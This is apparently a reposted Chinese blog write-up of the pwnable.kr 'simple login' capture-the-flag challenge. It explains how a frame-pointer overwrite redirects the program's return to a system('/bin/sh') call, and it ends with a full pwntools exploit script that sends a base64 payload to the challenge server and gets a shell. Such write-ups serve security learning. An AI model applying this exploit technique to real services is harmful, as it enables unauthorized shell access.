zoukankan      html  css  js  c++  java
  • pwnable.kr simple login writeup

    这道题是pwnable.kr Rookiss部分的simple login,需要我们去覆盖程序的ebp,eip,esp去改变程序的执行流程
       主要逻辑是输入一个字符串,base64解码后看是否与题目给定字符串一致,如果一致返回一个shell,仔细分析发现并不像网上普遍说的导致栈溢出。嗯,菜鸡如我觉得还是有必要做下笔记的=W=
       看一下关键函数的反汇编





       auth函数调用形参v6,因为v6<0xc才会执行auth,所以即使auth调用了memcpy,v4数组大小12也不会栈溢出

       所以这道题的关键在于如何覆盖auth调用的时候的eip


      因为auth返回的时候会leave rtn恢复栈帧和eip,而auth调用的时候栈帧如下
    main ebp|padding(8)|V6|return eip|auth ebp|V4[12]|v3|v2[8]
    leave相当于move esp,ebp;  pop ebp
    ret相当于pop eip

    所以我们构造一个payload=padding(4)+call_system_addr+input_addr
    当auth返回的时候执行leave时esp指向padding(4),leave恢复auth函数的栈帧,ebp恢复成调用auth时的auth ebp,esp指向call_system_addr,此时在执行ret时就会执行system('bin/sh')了
    需要理清的一个逻辑是只要我们输入的字符base64加密后小于等于12字节,都会执行auth函数,不管strcmp函数执行成功与否auth都会leave ret。所以不必纠结strcmp比较的两个字符串是否相等

    最终构造exp如下
    from pwn import *

    context(os='linux',arch='i386',log_level='debug')

    p = remote('pwnable.kr', 9003)
    p.recvuntil(':')

    call_system = 0x08049284
    input_addr = 0x811eb40
    payload = 'aaaa' + p32(call_system) + p32(input_addr)

    p.sendline(b64e(payload))
    p.interactive()

    返回可执行shell:

  • 相关阅读:
    postgres--流复制
    postgres--wal
    postgres--vacuum
    postgres10配置huge_pages
    Postgres间隔大量写IO的解决办法
    PostgreSQL配置文件--其他
    PostgreSQL配置文件--AUTOVACUUM参数
    PostgreSQL配置文件--实时统计
    PostgreSQL配置文件--日志和错误
    PostgreSQL配置文件--QUERY TUNING
  • 原文地址:https://www.cnblogs.com/snip3r/p/9173677.html
Copyright © 2011-2022 走看看